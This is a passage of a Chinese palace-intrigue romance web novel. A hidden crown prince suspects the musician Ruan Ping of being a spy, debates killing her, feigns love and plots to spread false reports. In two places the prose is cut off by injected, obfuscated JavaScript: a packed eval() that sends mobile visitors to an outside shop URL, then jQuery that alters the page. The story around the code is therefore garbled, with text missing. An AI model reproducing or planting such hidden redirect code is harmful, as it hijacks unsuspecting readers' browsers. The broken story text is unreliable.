等她真的脱了籍，他作‘逃兵’的事也了了，或许她真的可以…… 念头还没起，就被她摇头打散了。 真是疯了，不过老天指缝漏下来的巧恩，她就被砸得昏昏然。 能够脱籍自立，能够像一个人一样真正活着，已经是天恩万幸。若萧璟真能帮忙脱籍，她但凭他东风，一定要小心稳妥地把良籍落成。 天边最后一丝薄暮青辉消去，她小心地用衣袖擦了擦琴面上的松香灰，将紫檀胡琴抱稳，转身往家去，步子是从未有过的轻松。 . 人刚刚一进竹林，就听破空一记啸过，惊起一大群将歇的倦鸟，扑棱着翅膀乌压压地斜飞出林。阮苹只觉侧脖颈一阵剧痛，便眼前一黑，紫檀胡琴与铜笛一并砸在地上，晕死过去。 林子里立刻出来一人，上前把胡琴长笛左右前后翻覆着查勘。 确认了琴轸和琴箱笛筒里都没藏东西后，这人抬头，正是尹七。 他单膝着地，突然拔刀对准自己左腕：“齐王心腹化名来此一月，属下都未觉察，是属下失职，当自断一腕。” 话音未完，锋刃就落了下去，皮肉破开的一瞬，却被一股力击偏了，长刀没卸尽力，划破手背后‘铿’得一声撞在泥地乱石上。 一小股鲜血顿时染红了地面，尹七欸叹一声，戾色目光投向昏睡女子：“依属下看，殿下也不该涉险留在此等郊野，此女见过尊上落魄，将来殿下即位，更不该留活口。” 将手中淬了毒的竹制暗器拨转几圈，晏浩初倚着树转到明处。 剜疮之痛，大梁要受，他也得以身为饲。 若是连这点险都怕，他也不必去争位。 定下心，他将暗器收好，竟是两步上前将昏死的女子横抱起来。 在尹七诧异的神色里，他把女子脑袋朝心口靠了靠，沉声道：“一切照旧，去信知会下叶先生……还有，萧璟身边那个掌事阿嬷，她与母妃……渊源甚深。” 12. 杀意 半圆的月牙斜照着，榻上女子满额的汗，不知是陷在怎样可怖曲折的梦魇里，烟眉困苦地锁着，颊侧掌痕暗红。整个人缩成小小一团挨靠着斑驳泥墙，一忽儿胡乱呓语着，睡梦里的声嘶力竭，低哑无力到听不清。 东屋里没有点灯，暗夜里假寐的少年枭鸟般睁开眼，他翻身坐起，下一瞬，鬼影一样猛凑过去，连一丝儿落地声都无。 他把耳朵贴到她唇上，便隐约听得带了浓烈不安地唤声。 “桃桃……不、不能！” 是在喊她妹子的小名，少年撑起身，肆无忌惮地望着蜷成一团的人。 直觉里，他还是觉着，如此颟顸执拗到近乎于愚的一个人，若是自小当贵人的细作养，大约是不可能活到这么大的。 可直觉之外，大巧若拙、大奸似忠，最高明的细作往往就是这样。 只要有一丝威胁，他都不能不防。 心中已起剑影血沫，却不自觉收利刃，朝那具瘦弱蜷缩的身子探去。 “呀！”榻上人惊叫一记，四目相对，阮苹瞪大眼颤着惨白干涸的唇，失神地望着他顿在半空的手。 发间冷汗汇聚作一大串，倏忽划过浅淡烟眉，她右眼一眨，冷汗又被淌送到颊上，清泪一样蜿蜒着润泽过浮凸长疤。 月色颇亮，他将她眼底骇人惧色纳入眼底。又反复疑惑起她的身份来。 还未深想，胸前忽然一暖，就被人一头撞抱个满怀。 低头望见青丝如云，他瞳仁里晃过一息讶然，两手垂在虚空里。 肩背叫她抱得极紧，胸腹无一丝缝隙，是亲密无间毫无保留的信任。 心口似被什么东西密密实实地压满了，陌生又慌乱。 他忽的想起，上一回他同人这样，大概还是十一年前，母妃病重离世前，将他揽在怀里，不肯放手。 一霎的失神后，他伸手极轻柔地往她背上顺了顺，眸底冰寒无波，用一种半忧半责的语调：“成日只睡二三时辰，神仙也扛不住，天黑了晕在林子里，幸好叫我碰着。” 等他这一句开了腔，阮苹才从梦魇里彻底醒过神，依稀觉着颈侧有些痛，也没太在意。 她方才梦到自己回到十六岁那一年，才十二岁的桃露就要被佃入林家作妾，而她更是被个莽汉玷辱践踏。 梦里头是地狱无门。 “做的什么噩梦，吓成这样？”他扶着她的肩将人隔开些，俯下脸拧起眉看她，“魇着了别立刻睡，喝口水定定神。” 豆油灯点亮一小方天地，清凉冷茶入喉，阮苹方被彻底拉回现世里。 草屋里未置更漏，她只随意瞥了眼刚至中天的月，就晓得约莫是子时后半段了。 以往这时候，她多数是还扑在绣架前，多少年了，她只要看一眼天色，就能猜准时辰。 “你那间西屋墙缝里渗水，潮得厉害，得闲托诸葛大夫买些腻子草料来，我好好修葺下。”说着话，少年腼腆垂首，梨涡浮起，敛下一双桃花眼瞟了眼不远处自己睡的围榻，“你若介意，睡不稳……那今夜…我去睡西屋吧。” 这一句意态谦和微窘里还带上三分缠绵，却又说得磊落。少年低眉顺目，暖黄灯火盖过凌厉棱角，灯火下姿容柔和艳丽，褐瞳深邃，唇色洇红，活似一只深山里的赤狐精魅，无家可归一样脆弱又可怜。 “怎会！”她捧着茶碗不加思索地脱口而出，待身侧精魅一样的少年漾起笑，眉目生辉地抬首后，她才后知后觉地想起昨日那一场来，心里头陡然似揣了只兔子，苍白脸上浮起红云。 她根本无暇怀疑，只想到白日里的幸事，有心想要告诉，又顾忌他要误会，便只低声含糊：“我好多了，不耽搁你，子丑时分觉最要紧，就这么睡吧。” 茶碗被取走，身侧人却没应声。 正奇怪间，她撩眼皮一瞥，顿时整张脸臊得通红。 他竟歪着头就那么一直笑吟吟地打量自己。 心念相通似的，他的眼睛纯澈里透着勘破世间的灵慧，阮苹总觉着自己的一切念头，哪怕是先前只起了一瞬的念，好像都逃不过他这双眼。 正是在今日，得知脱籍有望的时候，她的的确确是动过念的。 倘若他元家真的败落到连一二百两都艰难的地步，其实也没比普通农户家好上太多吧？以她攒钱的本事，他又文不成武不就的，他们也未必全无可能的。 在少年越发温存的笑意里，这念头愈发清晰到无所遁形。 她忽然紧张到手脚也无处安放，一句话也说不出。 烛影照壁，两个都不说话，她正心虚得无可如何之时，壁间两个影子重叠到一处，短暂停留过，又分开二处。 她愕然抬起头，惊诧地睁大眼，一霎后，偏又故作平静地愁目平视虚空。 他在她脸上亲了记，就在右颊的长疤处。 不给她思量的空儿，这一下偷袭完，他几乎是立刻起身：“我去西屋睡了。” 他作势欲走，脚才跨出半步，衣袖就被人扯牢了。 那力道极轻，不留意的话，他只要再朝前走一点，她就想当作什么也没发生过一样了。 可‘良缘’来时便是如此难以预测。挺拔身姿驻足，挡没全部光亮，暖光从他周遭游弋散逃，将她拢在黑暗里。 她目光深深地仰望上去，无端清醒里是无边的灰烬。 罕见的一点希望还是被无望湮灭。 她听到自己用最平和的语调，毫无保留地说出了白日的事。 “……所以，事情办成的话，欠萧公子的二百多两银子，大概也得用七八年慢慢还清。像我这样人……” 一直沉默听着的少年，突然将她手握住，一错不错地盯来，眼神肃穆到有些令人生畏，他说：“阿姐……我们成婚吧” 听得耳畔她倒抽凉气的一声后，他心底里虽不确定，只仍继续道：“确是唐突，除了阿娘以外，我活这么大，从不知什么是喜欢。或者你不信，从那日我见你第一眼，也还未及觉照本心，只觉着心口被碾碎一般疼。” “我可能不大会说心意。”他目中竟似有水光浮动，勾唇叹笑一记化过后，他合掌来回地在她手背上哄慰轻拍：“阿姐，我不走了，不想回去了。你也不要再耗费身子，二百两么，下个月我就着家人送来。凑一凑，定还是勉强有的。” “怎么不说话？”他伸手似在克制，还是小心地落在横贯眉心那道旧疤上。“是我浑说，惊着你了么？” 这一句句入耳，面前女子却益发沉静，脸上红晕褪尽，已彻底变回一种惨淡寂寥的模样。 夜风侵入，烛火摇曳，乍听一记嗤笑，七分凉薄三分哀切，九曲柔肠都融进一句自嘲里。她唰一下抽开手： “什么身子耗费，我榻上躺过的人，呵！一只手是数不过来的。你年岁轻，历事浅，不晓得我们这样人，一生下来，命数就坏了。回去问问你阿娘，五十两酬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可他倒好，说什么君王来见，也该汗颜。他那样轻的年岁，干净俊秀，还是好出身有家底的，原是该看轻鄙弃于她。 在地上蹲坐半晌，直到腿麻到受不住，她才跌撞着起身。 索性也不睡了。 到绣架前点一盏油灯，套了大红底色的绢，开始给王娇儿绣鸳鸯戏水的枕巾。 这是不收钱的礼，可她还是备最好的绢料，理了五色丝线去绣鸳羽。 不负这一场相待。 …… 天光云影熹微亮起，她刚好收针，舒展了下酸痛的脖颈，才觉着乱麻似的一颗心，就如这五色丝线已经理顺理透融在枕面上了。 蓬窗外一株石榴花在晨雾里开了大半，想到脱籍的事，她心里益发平和喜乐，便弯腰从床下拖出个脏兮兮的破包袱。 包袱里头都是各色不同的布料边角，被她裁成巴掌大的一块块。 从里头随意取了片，又在包袱里头摸出瓶特制的无色染料，用一支毫毛都秃了大半开裂的笔，伏案写起近事。 布片上水痕干后，瞧不出一丝墨迹。 是见火才现的特制染料。 寥寥数句写过，便拿针线将布片钉在包袱里，里头叠满了各色杂料布片，俱是陈年心迹。 她将不该有的心动，芜杂无用的心念，全都封存在这一包布片里。 心念用无色墨写尽了，也就了了。 抬头释然望天光，属于她的长夜或许真要结束了。旁的人事都不重要，往后入良籍把桃露接出来，再能浔溪县里开个铺子，此生无求了。 做这一切的时候，她并没察觉，透过草屋屋顶的一处狭隙，一支泛着寒芒的箭尖后，有一双眼睛已经不知瞧了她多久了。 13. 杀意2 形状好看的眸子藏在屋顶茅草后，晏浩初蛰伏着，暗沉沉的瞳眸里无情无绪，指节扣在袖箭上，箭指下方女子颈项，如望死物。 昨夜她走后，四更时分，尹七就把消息递了过来。 消息证实了，归家院的鸨儿潘妈妈真是齐王外祖段国公家出去的，在湖州松江两地蓄养瘦马，也专栽培刺客。三年前有言官力谏直奏，事涉齐王结党鬻官，那言官后来就在一场宴饮里，死在了一名瘦马手里。 先前的猜度与目下所见重合，尽管与直觉相违，晏浩初还是不得不重新复盘起这一年来的全部筹谋。 他在湿漉漉的屋顶上趴伏许久，从阮苹取出无色墨的那一刻，理智告诉他，底下这个，若是段国公十几年前就养在湖州的棋子。那么，此女掩饰藏拙的功夫，实在是深不可测。 大哥晏载营莽撞骄奢，可他身后的老国公和皇后段氏却不简单。 当年段氏还是妃位时，就曾假意与他母妃交好。可是后来，他的母妃，也正是被段氏陷害至死的。 那一年，他才满七岁。 他是亲眼看着娘亲咽气的，她临死前一口血里混一捧泪：快，去你段娘娘那儿。往后段娘娘就是你母亲，载营便是你胞兄，初儿切记，万万不可说起今夜……” 就是那一刻起，他的童年结束了。 他似一夜间抽长起来，听懂了母亲话里的深意，凭借年幼和父皇的愧疚，他与皇兄日夜同吃同住，才侥幸逃过一劫。 一路走来，他在军中建功立业，在文官里也师友众多。反观皇兄，倒是益发骄横无能，有昏主之象。 直到去岁父皇突然颁诏立他为太子，而他以东宫之尊，在段氏和大皇兄跟前依然是母慈子孝，兄友弟恭的虔诚之态。 或许到今日，段皇后还以为，当年他母妃之死她是做的天衣无缝的。 只是他们母子果然都是一个德性，他从未将心底的恨展露过分毫，而晏载营却依然妒恨他这个作弟弟的，自去岁立嗣，几次三番地想要毁了他，却又蠢笨如猪地顾忌，连一个真正的死局都没布成过。 十几年间诸般历历，战场上九死一生，宫闱里荒诞暗涌，此刻一一在眼前淌过。 他冰冷荒芜的眼里透着不符年龄的老迈，他注视着她的动作，食指牢牢扣稳机括。 对他来说，底下女子生无甚，是否要提前回都，也许一步定成败。 后党一派根深树大，若是寻常手段，怕得一二十年才能清理干净。 但此番徐老将军大捷而归，手上能直接调令的达三十万之众，只要晏载营耐不住去逼宫，给他清君侧的理由，他定能将后党一派尽数绞杀。 茅草里的冰凉湿意浸透衣衫，他一动不动地蛰伏着，不断比较着两条路的优劣。 一是扣动机括击杀她，立刻绕路去徐老将军处寻求庇护。此为稳妥之法，但他一回去，嗣君归位，两派便又会回到从前的僵局，晏载营也失了贸然逼宫的由头。 二则不但要留此女性命，可能还需借着她向“萧璟”传递消息，让晏载营以为他是真的畏惧退缩了，甚至甘愿耽搁在这么一个渔村里。 乍看第一条路稳妥合理，而第二条险路重重、有性命之虞。深想过，才惊觉那条看似平稳的才是温水煮青蛙。 天家无兄弟，历朝上位者，多少人血雨腥风里手足相残，许多时候，乾坤颠覆，一辈子就只有那么一次机会。闯过去，是万人之巅，过不去，是万劫不复。 晏浩初十分清楚，即便他忍辱韬晦地演了十余年好弟弟，就算大哥夺位后不直接动手，可单凭他担过嗣君的名，等着他的也只会是无边的幽禁与折磨，就像他母妃曾经受过的一样。 比起死，他更怕输。 指腹慢慢松弛下来，袖箭终于偏开。 其实没得选，他一定会走第二条路。 底下的女子是人还是鬼，并不重要。 刚要收箭，屋子里的人却解起衣衫来。 她一边褪衣一边朝床榻走去，看模样似乎是想要盹一会儿。渐亮晨光透过薄薄的窗纸，照出一段玉色袅娜。 饶是还穿着小衣，从屋顶的位置朝下望，便能清楚地看到那弱柳般风流身姿间的玲珑有致。 她平素穿的粗粝宽敞，如此风致日常并不能觉出来。 一下子想到那日夜雨，唇畔立刻若真似幻地递过阵绵软来，胸腹间不受控制似得就微微泛起热意来，他不在乎地错开些视线，眼前只变本加厉地浮现起那日场面来。 温软纤柔的女孩儿家的气息触觉，浮想之间，让他不自在起来，面上看不出什么，万年不动的心海里泛起澜动。 倒也不单是因了那陌生的女子身骨，只是念起那等偎贴缱绻时，有一瞬竟叫他觉出过往的荒芜来。 略一失神，西头小路过来人都没察觉。 下一瞬他醒悟过来，惊觉此等心境的荒谬后，一双眼倏然又调回去，钉子似锐利地射向屋中人。 一个脏污卑贱的瘦马，蝼蚁一样活着的人，不过是虚与委蛇了月余，倒能勾的他心念牵动。 这念头才起，他便毫不迟疑地拨开袖箭锁扣，待要不管不顾地把这丑妖精一箭封喉时，就见底下女子已然换好衫，小小一团缩躺侧寐在靠墙的榻间。 她似乎总是这么个睡姿，这会儿看起来困累到极处。 天气热，啾啾鸟鸣的晨风里也带着燥闷，她便只套了件无袖的深灰褙子侧蜷着，床尾叠放了杂七杂八的外衫小衣，看模样是褪干净了褙子里头什么也没穿地套着睡的。 他微眯起眸，正打算放箭，院子外头忽然响起王娇儿咋咋呼呼地嚷：“起了吧，他阮家妹子，我推门进了啊！” 屋子里才盹着片刻的阮苹忙翻身起来，以为只有王娇儿一个，她只在褙子外松松披件衫，趿了鞋就去迎。 “妹子，你看看，我给你送一窝鸡崽子来。”木门吱嘎着才开了条缝，王娇儿热络粗放的嗓门就挤了进来，她抱着一窝毛茸茸鸡崽子，笑得见眉不见眼，仿佛遇着天大的喜庆。 “嫂子客气了，呀……”才要出屋的阮苹睡眼惺忪地笑着，待看到后方男子时，忙又缩了回去，半推拢门：“阿嫂自己倒水喝，我换了衣服出来。” 王娇儿反应过来，虽好笑于她的讲究，还是回身打发粗布麻衣的年轻男人：“阿七，你把这几个崽子后院里安置了，仔细手上的伤啊。” 尹七黑黝黝眼珠子望她一记，王娇儿眼底生魅，便搡他一记塞过去一把铜钱：“搭了窝棚你闲着也别家去做活，今儿村头货郎来，你看着买些自己要用的吧。若没合用的就拣两样爱吃的买也好，过两日大暑，我再领你县里采买去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668404|188355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人数一数手心里的铜钱，包着纱布的手垂下去顺势朝王娇儿臀上按了把，惹出对方一串低笑。 见他抱着鸡崽子转身去了，阮苹懒怠换衣，只多披了件宽大外衫，招呼王娇儿进去，两个看鸳鸯枕巾正闲话，王娇儿忽觉一阵晕眩反胃。 阮苹只当她夜里拖蟹摸鱼劳累过度，扶着人往榻上歇，含蓄着探问：“拖网捞鱼本该男人做的，你家里那位，可说要同你学么？” 听出她旁敲侧击里的关切，王娇儿大咧咧一挥手，笑呵呵强撑着往门边走：“阿七待我不错的，天天给我烧夜饭，我只管四更去拖鱼，天一黑夜里睡得可沉喽。倒是你，走到这节骨眼了，莫烦嫂子我舌头长，小墨那孩子脑子灵光人也稳重，那小东西最敬重诸葛大夫，你同他成了，就是两个人还天杀的孙家的债啊……” 阮苹摆摆手，嗔笑了笑，却连这话头都懒得接。 “好好好，不同你唠叨，一会儿我还得补渔网，再去村尾挑两桶好粪，得把地再浇一遍。” 这一头阮苹送王娇儿出门，拿一块深青色纱巾要给她下地包头用，王娇儿不肯要，就在西屋门前推扯起来。 另一头隔壁药庐的瓦屋顶上，晏浩初收回视线决意道：“想法子散消息过去，就说大梁太子已遇刺伤重昏迷。再遇着细作，别拦阻。” 尹七黝黑的脸上露出惶然犹豫，他深皱起浓眉，竟一时没有回话。 长久的沉默后，晏浩初轻笑出声，晨雾在金光里渐散，他侧头朦胧俊逸的面上漾开笑窝，朝气如同这夏日旭光，独一双眼冷彻霜冻似无情蛰伏的兽。 他不需再说什么，单是这么看过去，就让尹七心生寒意。 青年颔首领命，攥着手心铜钱朝西侧院瞥一眼，不知是想到了什么，飞身下去前用从未有过的俏皮语气道：“此地无趣，殿下何必太清苦，女人就如衣服，沾过身届时杀了就是。” 话音落前他人影已无，留下个晏浩初笑意凝结，未及发怒又冷肃下来。 他从不发无谓的怒，脑子里兜住一圈，就领会到尹七话中深意，宫闱战场里的血海火窟他都能走到今日，竟还像个愣头青，于男女之事上还留着些圣人教诲的偏正。 这算什么，圣贤人伦，从来都是拿来示人的罢了。 古来帝君，恪守受困这些死理的，哪一个有好下场的。 若连这些都要纠结，那他岂非连父皇都不如了。 思及此，他嗤笑一记飞身而下，悄然落在后院，赶在阮苹回屋前将人截在廊下。 似瞧不见她的衣衫不整，他将人当院截困住，言语里是少年人的欣快与好奇：“哪里来的一窝鸡崽子？！才刚我去山里转一圈，走背运什么也没打得。阿姐，喝鸡汤吗，一会儿挑一只宰了吧。” 阮苹也是方才探过他出门去了，本想着睡片刻养神。一夜无眠，实在困乏得厉害，才偷了懒没把衣衫换回来的。 这会儿褙子里头空荡荡的，她心虚地拢紧些外衫，苍白面额间浮起极浅的淡红，偏还要拧着整片心神作出一副老派镇定状。 耳朵里听得他要去杀鸡，想起那一只只澄黄色的毛线团子，忙制止道：“别别别，都是能下蛋的，小崽子也没多少肉。” 晨雾散尽，红彤彤的日阳照彻天地。一切都不能再似昨儿夜里一样，能借着昏昧掩藏。